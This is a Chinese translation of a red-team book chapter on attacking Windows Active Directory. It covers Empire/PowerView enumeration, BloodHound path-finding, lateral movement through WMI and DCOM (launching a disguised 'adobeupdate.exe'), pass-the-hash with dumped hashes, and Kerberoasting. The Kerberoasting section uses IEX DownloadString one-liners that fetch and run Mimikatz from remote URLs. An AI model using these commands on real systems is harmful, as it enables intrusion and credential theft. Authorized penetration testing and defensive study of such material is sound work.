4.8 工作在 Windows 域环境中
同样,在下面的示例中,我们将使用 PowerShell Empire。但是,您也可以使用 Metasploit、Cobalt Strike 或类似的工具进行同样的攻击。只要您能够将 PowerShell 脚本导入内存并避开主机系统的安全防护机制,使用什么工具并不重要。
既然您已经突破了被攻击者的主机,从他们的工作站获取了所有秘密,掌握了被攻击者浏览的一些网站,并执行了一些 netstat 风格的侦查……下一步要做什么呢?
红队真正关心的是在服务器、工作站、用户、服务以及活动目录中是否可以搜索可靠的信息。在很多情况下,由于存在报警/捕获的风险,因此我们无法运行任何漏洞扫描工具(甚至 Nmap 扫描工具)。那么,如何利用网络和服务的“功能”,找到我们需要的所有信息呢?
4.8.1 服务主体名称(SPN)
服务主体名称(SPN)是 Windows 中的一项功能,允许客户端唯一标识服务实例。Kerberos 身份鉴权使用 SPN 功能,将服务实例与服务登录账户相关联。举个例子,一个 SPN 对应一个服务账户,此服务账户运行 MS SQL 服务器、HTTP 服务器和打印服务器等的 SPN。对于攻击者,查询 SPN 是枚举阶段的重要部分,这是因为任何域用户账户都能够查询活动目录,获取关联的所有服务账户/服务器。我们可以识别所有数据库和网站服务器,甚至一台主机都不需要扫描!
作为攻击者,我们可以利用这些“功能”查询活动目录。在任何加入域的计算机上,攻击者都可以运行 setspn.exe 文件来查询活动目录。此文件是默认的 Windows 二进制文件,存在于所有 Windows 系统中。
- setspn -T [DOMAIN] -F -Q */*。
- 参数如下。
- -T:查询指定域
- -F:查询活动目录林,而不是域
- -Q:在目标域或者目标林执行
- */*:所有内容
我们可以从 Setspn 查询中获得什么类型的信息?如图 4.22 所示,运行 setspn 命令,我们看到有关域控制器上运行服务的信息和工作站的信息,我们还找到了一台名为 CSK-GITHUB 的服务器。在这个例子中,我们可以看到在该服务器上运行了 HTTP 服务。即使是在不同的端口上,如果仍然是 HTTP,那么该信息也将被列出。
Setspn 不仅会提供有关服务用户和活动目录中所有主机名的有用信息,还会告诉我们系统中运行的服务甚至端口号。如果可以直接从活动目录中获取服务甚至端口的大部分信息,那么我们为什么要扫描网络?Jenkins、Tomcat 和 ColdFusion,什么是您可能立即攻击的目标?
图 4.22
4.8.2 查询活动目录
我多次获得一个域账户和密码,却被管理员告知这只是一个没有其他权限的域账户。我们可以在打印机、共享信息工作站、带有服务密码的平面文件文本、配置文件、iPad、Web 应用程序页面源中包含密码的地方,找到这种类型的域账户。对于不是其他组成员的基本域账户,您可以做些什么?
获取有关活动目录用户的详细信息
我们可以使用 @ harmj0y 创建的、名为 PowerView 的工具,帮助我们完成所有琐碎的工作。PowerView 使用 PowerShell 脚本,可在 Windows 域上获得网络态势感知信息。它包含一组纯 PowerShell 脚本,可以替换各种 Windows“net *”命令,它使用 PowerShell AD 挂钩和底层 Win32 API 函数,实现各种有用的 Windows 域功能。作为攻击者,我们可以利用 PowerView 和 PowerShell 查询活动目录,活动目录中最低权限的用户 - “域用户”即可完成任务,根本不需要本地管理员权限。
让我们来看看这个低级别用户可以获得什么样的数据。首先,运行 Empire(您可以使用 Metasploit、Cobalt Strike 或类似的工具完成相同的任务)并在被攻击者系统上执行静荷。如果您之前从未设置过 Empire,那么可查看有关 Empire 和 Empire 静荷设置的章节。一旦代理与命令和控制服务器通信,我们就可以输入“info”来查找有关被攻击者主机的信息。目前,我们在 cyberspacekitten 域中突破了 Windows 10 系统主机,主机已经打上了完整的 Windows 补丁,用户名为 neil.pawstrong,如图 4.23 所示。
图 4.23
接下来,我们想要在域中查询信息,并且要避免引起太多怀疑。我们可以使用 Empire 中的 PowerView 工具获取信息。PowerView 查询域控制器(DC)以获取有关用户、组、计算机等各种信息。我们使用 PowerView 功能查询域控制器,并且应该看起来像普通流量一样。
Empire 中有一些模块可用于态势感知,如图 4.24 所示。
图 4.24
我们开始使用 PowerView 中的 get_user 脚本。Get_user 查询指定域中特定用户或所有用户的信息,如图 4.25 所示。使用默认设置,我们可以转储有关域控制器中用户以及相关的所有信息。
模块:situational_awareness/network/powerview/get_user。
图 4.25
在上面的转储中,可以看到其中一个用户 Purri Gagarin 的信息。我们得到了什么类型的信息?我们可以看到 samaccountname 用户名、密码更改的时间、对象类别是什么,以及他们是哪些组的成员和最后登录的时间等。通过这些基本用户信息转储,可以从目录服务中获取大量信息。我们还可以获得哪些其他类型的信息?
模块:situational_awareness/network/powerview/get_group_member。
Get_group_member 返回特定组的成员,设置“Recurse”参数能够找到所有有效的组成员。我们可以使用活动目录查找某些组的特定用户。例如,通过以下 Empire 设置,我们可以搜索所有域管理员和属于域管理员组的分组,如图 4.26 所示。
- info。
- 设置身份“域管理员”。
- 设置 Recurse True。
- 设置 FullData True。
- 执行。
图 4.26
现在,我们获得一个用户、组、服务器和服务列表,这将帮助我们了解哪些用户具有哪些权限。但是,我们仍然需要有关工作站和系统的详细信息。信息中可能包括版本、创建日期、使用情况和主机名等。我们可以在使用 get_computer 命令时获取这些信息。
模块:situational_awareness/network/powerview/get_computer。
说明:get_computer 模块查询域中计算机对象。
get_computer 查询域控制器可以获得哪些信息?我们获取了机器、创建时间、DNS 主机名和专有名称等信息。作为攻击者,一个有用的侦察信息是操作系统类型和操作系统版本。在这个例子中(见图 4.27),我们可以看到操作系统是 Windows 10,版本是 Build 16299。我们获取了操作系统的相关信息,了解这个操作系统的最新状态,以及这个操作系统是否在微软公司的发布信息页面上发布了补丁信息。
图 4.27
4.8.3 Bloodhound/Sharphound
我们如何利用从侦察阶段搜集到的所有信息,实现后续的渗透?我们如何快速地关联谁有权访问什么?回到之前,我们过去只是试图突破一切,以达到我们的目的,但这总是增加了被发现的可能性。
Andrew Robbins、Rohan Vazarkar 和 Will Schroeder 开发了一种不错的关联工具,称为 Bloodhound/Sharphound。在他们的 GitHub 页面中有下列介绍内容:“BloodHound 使用图论来揭示活动目录环境中隐藏且经常无意识的关联。攻击者可以使用 BloodHound 轻松识别高度复杂的攻击路径,否则这样的路径很难发现。防御者可以使用 BloodHound 识别和找到这些攻击路径。蓝色团队和红色团队都可以使用 BloodHound 轻松且深入地了解活动目录环境中的权限关系。”
Bloodhound 的工作原理是在被攻击者系统上运行 Ingestor,然后查询活动目录(类似于我们之前手动执行的操作)中的用户、组和主机信息。然后,Ingestor 将尝试连接到每个系统以枚举登录的用户、会话和权限。当然,在网络上这动作有点大。对于默认设置(可以修改)的中型、大型组织,使用 Sharphound 连接到每个主机系统和查询信息可能不到 10min。请注意,由于这涉及网络上每个加入域的系统,因此可能会被捕获。Bloodhound 中有一个 Stealth 选项,它只查询活动目录并不连接到每个主机系统,但输出信息非常有限。
目前有两个不同的版本(其中我确定旧的版本很快就会删除)。
- 在 Empire 内部,您可以使用该模块。
- usemodule situational_awareness/network/bloodhound
- 这仍然使用非常慢的旧 PowerShell 版本
- 更好的选择是 Sharphound。Sharphound 是原始 Bloodhound Ingester 的 C#版本,它更快、更稳定,可以用作独立二进制文件或作为 PowerShell 脚本导入。Sharphound PowerShell 脚本使用 reflection 和 assembly.load,将已编译的 BloodHound C#ingestor 加载到内存。
运行 Bloodhound/Sharphound Ingestor,您可能需要指定多个信息搜集方式。
- Group,搜集组成员身份信息。
- LocalGroup,搜集计算机的本地管理员信息。
- Session,搜集计算机的会话信息。
- SessionLoop,连续搜集会话信息直到退出。
- Trusts,搜集域信任数据。
- ACL,搜集 ACL(访问控制列表)数据。
- ComputerOnly,搜集本地管理员和会话数据。
- GPOLocalGroup,使用 GPO(组策略对象)搜集本地管理员信息。
- LoggedOn,使用高权限(需要管理员!)搜集会话信息。
- ObjectProps,搜集用户和计算机的节点属性信息。
- Default,搜集组成员身份、本地管理员、会话和域信任。
在主机系统上运行 Blood/Sharphound。
- 运行 PowerShell,然后导入 Bloodhound.ps1 或 SharpHound.ps1。
- Invoke-Bloodhound -CollectionMethod Default
- Invoke-Bloodhound -CollectionMethod ACL,ObjectProps,Default -CompressData -RemoveCSV -NoSaveCache
- 运行可执行文件。
- SharpHound.exe -c Default,ACL,Session,LoggedOn,Trusts,Group
Bloundhound/Sharphound 操作完成后,被攻击者系统上将生成 4 个文件。访问这些文件并复制到您的 Kali 设备。接下来,我们需要启动 Neo4j 服务器,导入这些数据,构建关联图。
启动 Bloodhound 过程如下。
(1)apt-get install bloodhound。
(2)neo4j console。
(3)打开浏览器,访问 http://localhost:7474。
- Connect to bolt://localhost:7687
- Username: neo4j
- Password: neo4j
- Change Password
- Password: New Password
(4)在终端运行 Bloodhound。
- bloodhound
- Database URL: bolt://127.0.0.1:7687
- Username: neo4j
- Password: New Password
(5)加载数据。
- 右侧有“Upload Data”按键。
- 上传 acls.csv、group_membership.csv、local_admin.csv 和 sessions.csv 文件。
如果您没有域环境进行测试,我上传了 4 个 Bloodhound 文件(见 https://github.com/ cyberspacekittens/bloodhound),以便您可以重复练习。一旦进入 Bloodhound 并导入了所有数据,我们就可以选择查询,查看“Find Shorted Paths to Domain Admins.”。我们还可以选择特定用户,查看是否可以将路径映射到特定用户或组。在这个例子中,我们突破的第一个设备是 NEIL.PAWSTRONG@CYBERSPACEKITTENS.LOCAL。在搜索标签中,插入用户,单击“Pathfinding”按钮,然后输入“Domain Admin”(或任何其他用户),查看这些对象之间的规划路径,如图 4.28 所示。
图 4.28
从 Neil 的机器上可以看出,我们可以一直迁移到 CSK-Lab。进入实验设备,可以发现有一个名为 Purri 的用户,他是 HelpDesk 组的成员,如图 4.29 所示。
图 4.29
如果可以突破 HelpDesk 组,我们可以迁移到 Chris 系统,发现 Elon Muskkat 最近登录过。如果可以迁移到他的进程或窃取他的明文密码,我们就可以升级为 Domain Admin 权限!
对于大型网络,我们注意到 Bloodhound 查询的限制和搜索问题。使用 Neo4j 的好处之一是允许通过 Cypher 语言进行原始查询。
我们可以添加哪些类型的自定义查询?@ porterhau5 在扩展 Bloodhound 跟踪和可视化突破方面取得了一些重大进展。
从更高的层面来看,@porterhau5 增加了突破主机标记,可以让攻击者更方便地在整个环境中进行迁移。例如,在假设的场景中,我们开展网络钓鱼攻击,获取第一个用户 neil.pawstrong 的信息。使用 Bloodhound 应用程序中的 Cypher 语言和 Raw Query 功能,我们可以进行以下查询。
- 将自有标记添加到突破系统。
- MATCH (n) WHERE n.name="NEIL.PAWSTRONG@CYBERSPACEKITTENS. LOCAL"SET n.owned="phish", n.wave=1
- 运行查询,显示所有已被网络钓鱼的系统。
- MATCH(n)WHERE n .owned ="phish"RETURN n
现在,我们可以向 Bloodhound 添加一些自定义查询。在 Bloodhound 的 Queries 选项卡中,滚动到底部,然后单击“Custom Queries”旁边的编辑按钮。然后,将所有文本替换为以下内容。
- https://github.com/porterhau5/BloodHound-Owned/blob/master/customqueries.json
保存后,我们可以创建更多的查询。我们现在可以单击“Find Shortest Paths from owned node to Domain Admins”,如图 4.30 所示。
图 4.30
如果您想更仔细地研究这个问题,可查看 @ porterhau5 的 Bloodhound 版本,它更加清晰地标记突破的计算机,并允许更多的自定义功能。
到目前为止,在没有扫描的情况下,我们已经能够获得有关该组织的大量信息,这都是本地活动目录用户(域用户)的权限,并且在大多数情况下,网络流量看起来很正常。如您所见,我们能够在不是本地管理员或不拥有本地系统任何管理权限的情况下完成所有这些操作。
高级 ACL/ACE Bloodhound
当使用 Bloodhound 的 Collection Method Access Control List(ACL)类型时,脚本将查询活动目录,搜集用户/对象的所有访问控制权限。我们从访问控制入口(ACES)搜集的信息描述了用户、组和计算机的允许和拒绝权限。查找和利用 ACE 本身就可以写一本完整的图书,下面是一些很好的学习资料。
- BloodHound 1.3 - ACL 攻击绘制配方。
- https://wald0.com/?p=112
- 介绍对手持续攻击方法。
- http://bit.ly/2GYU7S7
将 ACL 数据导入 Bloodhound 时,我们在寻找什么?Bloodhound 识别 ACE 中可能存在弱点的区域,包括谁能够更改/重置密码、向组添加成员、为其他用户更新脚本路径、更新对象或在对象上写入新 ACE 等。
那么怎样利用这个功能?在突破设备并获得额外凭证时,我们可以查找路径,发现能够重置密码或修改 ACE 权限的用户。这将提出新的方法,查找域管理员或特权账户的路径,甚至是安装后门供后续行动使用。
4.8.4 横向移动 - 进程迁移
当主机存在多个用户时,通常的做法是生成令牌或在不同用户间迁移。这并不是什么新鲜事,但是多数是在一个环境内横向迁移。通常通过 Bloodhound 输出内容或共享工作站,作为攻击者,我们需要能够冒充被攻击者系统上的其他用户。
我们有很多工具可以实现上述功能。以 Metasploit 为例,我们都应该非常熟悉后陷身方法,可以实现令牌窃取。在 Empire 中,我们可以使用 steal_tokens,冒充该系统上的用户。我注意到有时令牌劫持可能破坏自己的 Shell。为了避免这种情况,我们可以在其他用户拥有的进程中,注入新代理。
在图 4.31 中,对运行恶意软件的员工,我们实施了网络钓鱼攻击。这允许我们在该被攻击者用户(neil.pawstrong)拥有的进程中运行。一旦进入该用户的主机,我们就迁移到 Buzz Clawdrin 系统,并使用 WMI(Windows Management Instrumentation)生成一个新的代理。这里的问题是因为使用缓存凭证在 Buzz 的主机上生成 Shell,所以我们仍然处于被攻击者 neil.pawstrong 的进程中。因此,我们应该使用 Empire 的 psinject 功能,而不是窃取令牌。
图 4.31
Empire 中的 psinject 具备的功能描述如下:“能够使用 ReflectivePick 将代理注入另一个进程,将.NET 公共语言运行库加载到进程中,执行特定的 PowerShell 命令,所有这些都无须启动新的 powershell.exe 进程!”我们使用它来生成一个全新的代理,注入 Buzz.Clawdrin 进程中运行,这样我们就可以获得 Buzz.Clawdrin 的访问权限。
4.8.5 从您最初突破的主机开始横向移动
既然您已找到可能迁移的路径,有什么方式可以在这些系统实现代码的执行?基本的方法是使用当前活动目录用户的权限,获得对另一个系统的控制权。例如,一个经理具有访问其下属计算机的全部权限,在一个会议室/实验室的计算机上有多个用户具有管理员权限,内部系统配置错误,或者有人手动将用户添加到计算机本地管理员组,那么用户可以远程访问网络上其他工作站。在突破的计算机上,我们可以使用 Bloodhound 获取结果或者重新扫描网络,查找可以在本地访问的计算机。
- Empire 模块。
- Metasploit 模块。
Empire 的 find_localadmin_access 模块向活动目录查询所有主机名,并尝试连接主机。这绝对是一个容易被检测的工具,因为它需要连接到每个主机并验证自己是否是本地管理员,如图 4.32 所示。
图 4.32
我们可以看到,find_localadmin_access 模块输出结果,确认突破的用户可以访问 buzz.cyberspacekittens.local 机器。这应该与运行 Bloodhound 的结果是一致的。为了仔细检查我们是否具有访问权限,我通常会执行非交互式远程命令,如 dir \[remote system]\C$,并且查看对 C 驱动器是否具有读/写权限,如图 4.33 所示。
图 4.33
在横向移动方面,有几种选项。让我们先来看看 Empire 等模块,因为它们是比较常见的(直接引用自 Empire)。
- inveigh_relay:Inveigh 的 SMB 中继功能。这个模块可用于将传入的 HTTP/代理 NTLMv1/NTLMv2 身份鉴权请求中继到 SMB 目标。如果身份鉴权成功且账户具有正确的权限,则在目标上以 PSExec 风格执行指定的命令或 Empire 启动程序。
- invoke_executemsbuild:此函数使用 MSBuild 和内联任务在本地/远程主机上执行 PowerShell 命令。如果提供了凭证,则会在本地加载默认的管理员共享目录。此命令将在 MSBuild.exe 进程的上下文中执行,而无须启动 PowerShell.exe。
- invoke_psremoting:使用 PSRemoting 在远程主机上执行 stager。只要被攻击者启用了 PSRemoting(并非始终可用),我们就可以通过此服务执行 PowerShell。
- invoke_sqloscmd:使用 xp_cmdshell 在远程主机上执行命令或 stager。'xp_cmdshell 又回来了!
- invoke_wmi:使用 WMI 在远程主机上执行 stager。WMI 几乎总是被启用,这是执行 PowerShell 静荷的好方法。
- jenkins_script_console:将 Empire 代理部署到 Windows Jenkins 服务器中没有身份鉴权的脚本控制台。我们知道,Jenkins 服务器通常没有启用鉴权,这意味着可以通过脚本实现远程代码执行。
- invoke_dcom:通过 DCOM 上的 MMC20.Application COM 对象在远程主机上调用命令。允许我们在没有 PsExec、WMI 或 PSRemoting 的情况下进行迁移。
- invoke_psexec:使用 PsExec 类型的功能在远程主机上执行 stager。使用 PsExec 是一种老方法,复制文件并执行。这可能会引发警报,但如果没有其他方法可用的话,这仍然是一个很好的方法。
- invoke_smbexec:使用 SMBExec.ps 在远程主机上执行 stager。我们可以使用 Samba 工具进行类似的攻击,而不是使用 PsExec。
- invoke_sshcommand:通过 SSH 在远程主机上执行命令。
- invoke_wmi_debugger:使用 WMI 将远程计算机上的目标二进制文件的调试器设置为 cmd.exe 或 stager。使用 sethc(粘滞键)等调试工具来执行我们的代理。
- new_gpo_immediate_task:构建一个“立即”的 schtask 来推送指定的 GPO。如果您的用户账户有权修改 GPOS,则您可以推送一个“即时”计划任务 GPO,这个编辑过的 GPO 生效后允许在系统中执行代码。
这些只是简单并且常用的横向移动技术。在本书的后续部分,我们将讨论一些新的方法突破目标。在大多数网络中,Windows Management Instrumentation(WMI)通常是启用的,因为 WMI 是管理工作站所必需的功能。因此,我们可以使用 invoke_wmi 横向移动。由于使用缓存凭证,并且账户可以访问远程主机,因此我们无须知道用户的凭证。
在远程系统上执行,如图 4.34 所示。
- usemodule lateral_movement/invoke_wmi。
- 设置要攻击的计算机。
- set ComputerName buzz.cyberspacekittens.local
- 定义使用的监听器。
- set Listener http
- 远程连接到该主机并执行您的恶意软件。
- execute
- 与新代理交互。
- agents
- interact <Agent Name>
- sysinfo。
图 4.34
4.8.6 使用 DCOM 横向移动
如果已经进入主机,那么有许多方法可以在主机上横向移动。如果突破的账户具有访问权限,或者您可以使用捕获的凭证创建令牌,那么我们可以使用 WMI、PowerShell Remoting 或者 PsExec 等方法生成各种 Shell。如果这些方法被监控该怎么办?Windows 自带一些很不错的功能,我们可以利用其中的分布式组件对象模型(DCOM)功能。DCOM 是 Windows 自带的功能,用于远程主机组件之间的通信。
您可以使用 PowerShell 命令 Get-CimInstance Win32_DCOMApplication 列出计算机的所有 DCOM 应用程序,如图 4.35 所示。
图 4.35
根据 @ enigma0x3 的研究成果,他发现很多对象(如 ShellBrowserWindow 和 ShellWindows)允许在被攻击者主机上远程执行代码。当列出所有的 DCOM 应用程序时,您将发现一个 ShellBrowserWindow 对象,其 CLSID 为 C08AFD90-F2A1-11D1-8455- 00A0C91F3880。在发现这个对象后,只要账户允许访问,我们就可以利用这个功能在远程工作站上执行二进制文件。
- powershell
- $([activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","buzz.cyberspacekittens.local"))).Navigate ("c:\windows\system32\calc.exe")
这将在系统中执行本地可执行文件,并且不能在可执行文件中包含任何命令行参数(因此 cmd/k 样式的攻击不能执行)。当然,我们可以从远程系统调用文件并执行它们,但请注意,用户将弹出警告窗口。在这个例子中,我目前在被攻击者的主机 neil.cyberspacekittens.local 上,该主机具有 buzz 远程工作站的管理员访问权限。我们将在 neil 的工作站上共享一个文件夹,托管我们的恶意静荷。接下来,我们可以调用 DCOM 对象,在远程被攻击者(buzz)计算机上运行托管文件,如图 4.36 所示。
$([activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-
00A0C91F3880","buzz.cyberspacekittens.local"))).Navigate("\\neil.cyberspacekittens.local\Public\ adobeupdate.exe")
图 4.36
如图 4.37 所示,buzz 的机器上会弹出一个窗口,提示运行 adobeupdate.exe 文件。虽然大多数用户会单击并运行这个程序,但是也有可能攻击行为被发现。
图 4.37
因此,避免被发现的方法是在 DCOM 执行文件之前,移动文件(类似于在被攻击者主机加载驱动器)。@ enigma0x3 更进一步,使用 Excel 宏执行 DCOM。首先,需要在自己的系统上创建恶意 Excel 文档,然后使用 PowerShell 脚本在被攻击主机上执行此 XLS 格式的文件。
需要注意的一点是,有许多其他 DCOM 对象可以从系统中获取信息、启动/停止服务等。这些资源肯定会为 DCOM 功能的其他研究提供很好的基础。
4.8.7 传递散列
本地管理员账户散列传递(PTH),虽然这种老的攻击方式在大部分场景中已经不起作用了,但是这种攻击方式并未彻底绝迹,我们快速回顾一下。散列传递攻击是指系统鉴权不使用用户的凭证,而是 Windows NTLM 散列进行身份验证。为什么这种攻击方式很重要?因为,散列可以使用 Mimikatz 这样的工具轻松恢复,可以从本地账户提取(但需要本地管理员访问权限),可以通过转储域控制器恢复(不是明文密码)以及其他方式。
散列传递攻击基本的用途是攻击本地管理员,但目前很难再发挥作用,因为默认情况下,本地管理员账户已被禁用,并且新的安全功能已开始应用,例如本地管理员密码解决方案(LAPS),它为每个工作站创建随机密码。在过去,在一个工作站上获取本地管理员账户的散列值,在整个组织中都是相同和适用的,这意味着突破一个工作站,就突破了整个公司。
当然,散列传递攻击发挥作用要求您必须是系统的本地管理员,即本地管理员账户“管理员”已启用,并且它是 RID 500 账户(这意味着必须是原始管理员账户,而不是新创建的本地管理员账户)。
Command: shell net user administrator
User name Administrator
Full Name
Comment Built-in account for administering the computer/domain
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
如果我们看到该账户处于活动状态,那么可以尝试从本地计算机中提取所有散列值。记住,这不包括任何域用户的散列。
- Empire Module: powershell/credentials/powerdump
- Metasploit Module
例子如下。
- (Empire: powershell/credentials/powerdump) > execute
- Job started: 93Z8PE
输出如下。
- Administrator:500:aad3b435b51404eeaad3b435b51404ee:3710b46790763e07 ab0d2b6cfc4470c1:::
- Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59 d7e0c089c0:::
我们可以使用 Empire(credentials/mimikatz/pth)工具,或者启动可信工具 PsExec,提交我们的散列值,然后执行我们的自定义静荷,如图 4.38 所示。
图 4.38
如同上文所述,这是旧的横向移动攻击方式,目前已经很难找到适合的攻击条件。如果您仍然可以看到使用本地管理员账户的情况,但环境中启用了 LAPS(本地管理员密码解决方案)方案,那么您可以使用几种不同的工具从活动目录中提取散列值。这是在假设您已经拥有特权域管理员或帮助台类型账户的情况下。
4.8.8 从服务账户获取凭证
如果您发现获取的用户账户受限,无法从内存中获取密码,并且恰好没有在主机系统上获取密码,那么该怎么办?您接下来要做什么?好吧,我比较喜欢使用的一种攻击方法是 Kerberoasting。
我们都知道,由于 NTLM 采用单向函数没有附带盐值,存在重放攻击和其他传统的问题,因此许多公司转而采用 Kerberos。众所周知,Kerberos 是一种用于验证计算机网络中服务请求的安全方法。我们不会深入研究 Windows 中 Kerberos 的实现方法。但是,您应该知道域控制器通常充当票证授予服务器;并且网络上的用户可以请求票证,从而获得资源的访问权限。
什么是 Kerberoast 攻击?作为攻击者,我们可以用之前提取的目标服务账户的任何 SPN,请求 Kerberos 服务票证。该漏洞的存在有以下原因:当从域控制器请求服务票证时,该票证使用关联的服务用户的 NTLM 散列进行加密。由于任何用户都可以请求票证,因此这意味着如果可以猜中关联服务用户的 NTLM 散列(加密票证)的密码,那么我们就可以获得实际服务账户的密码。这听起来可能有点混乱,下面我们来看一个例子。
与之前的情况类似,我们可以列出所有 SPN 服务,提取这些服务账户所有的 Kerberos 票证。
- setspn -T cyberspacekittens.local -F -Q \*/\*
我们既可以针对单用户,又可以提取所有的 Kerberos 票证到用户内存中。
- 针对单用户。
- powershell Add-Type -AssemblyName System.IdentityModel;
New-Object System. IdentityModel.Tokens.KerberosRequestorSecurityToken- ArgumentList "HTTP/ CSK-GITHUB.cyberspacekittens.local"
- powershell Add-Type -AssemblyName System.IdentityModel;
- 提取所有的用户票证到内存中。
- powershell Add-Type -AssemblyName System.IdentityModel; IEX(New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/nidem/kerberoast/ master/GetUserSPNs.ps1") | ForEach-Object {try{New-Object
System.IdentityModel.Tokens.KerberosRequestorSecurityToken-ArgumentList $_.ServicePrincipalName}catch{}}
- powershell Add-Type -AssemblyName System.IdentityModel; IEX(New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/nidem/kerberoast/ master/GetUserSPNs.ps1") | ForEach-Object {try{New-Object
- 当然,您也可以使用 PowerSploit 实现上述功能,如图 4.39 所示。
图 4.39
如果成功,那么我们已将一个或多个不同的 Kerberos 票证导入到被攻击者计算机的内存中。我们现在需要一种提取票证的方法。要做到这一点,我们可以使用非常好用的功能 - Mimikatz Kerberos Export,如图 4.40 所示。
- powershell.exe -exec bypass IEX (New-Object Net.WebClient).DownloadString ('http://bit. ly/2qx4kuH'); Invoke-Mimikatz -Command '"""kerberos::list/export"""'
图 4.40
在我们导出票证后,票证驻留在被攻击者的机器上。在开始破解票证之前,我们必须从被攻击者的系统中下载票证。记住,票证是使用服务账户的 NTLM 散列加密的。因此,如果可以猜到 NTLM 散列,我们就可以读取票证,同时也知道服务账户的密码。比较简单的破解账户的方法是使用名为 tgsrepcrack 的工具(JTR 和 Hashcat 也支持破解 Kerberoast,我们将很快讨论这个问题)。
- 使用 Kerberoast 破解票证。
- cd /opt/kerberoast
- python tgsrepcrack.py [password wordlist] [kirbi tickets - *.kirbi]
如图 4.41 所示,服务账户 csk-github 的密码是“P @ ssw0rd!”。
图 4.41
当然,Empire 中有一个 PowerShell 模块可以为我们完成几乎所有烦琐的工作。它位于 powershell/credentials/invoke_kerberoast 下,如图 4.42 所示。您可以以 John the Ripper 或者 Hashcat 格式输出,从而可以使用这两个工具破解密码。我以前在大的网络环境中运行 PowerShell 脚本时,遇到了一些问题,因此只能重新使用 PowerShell 和 Mimikatz 获取所有的票证。
图 4.42
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论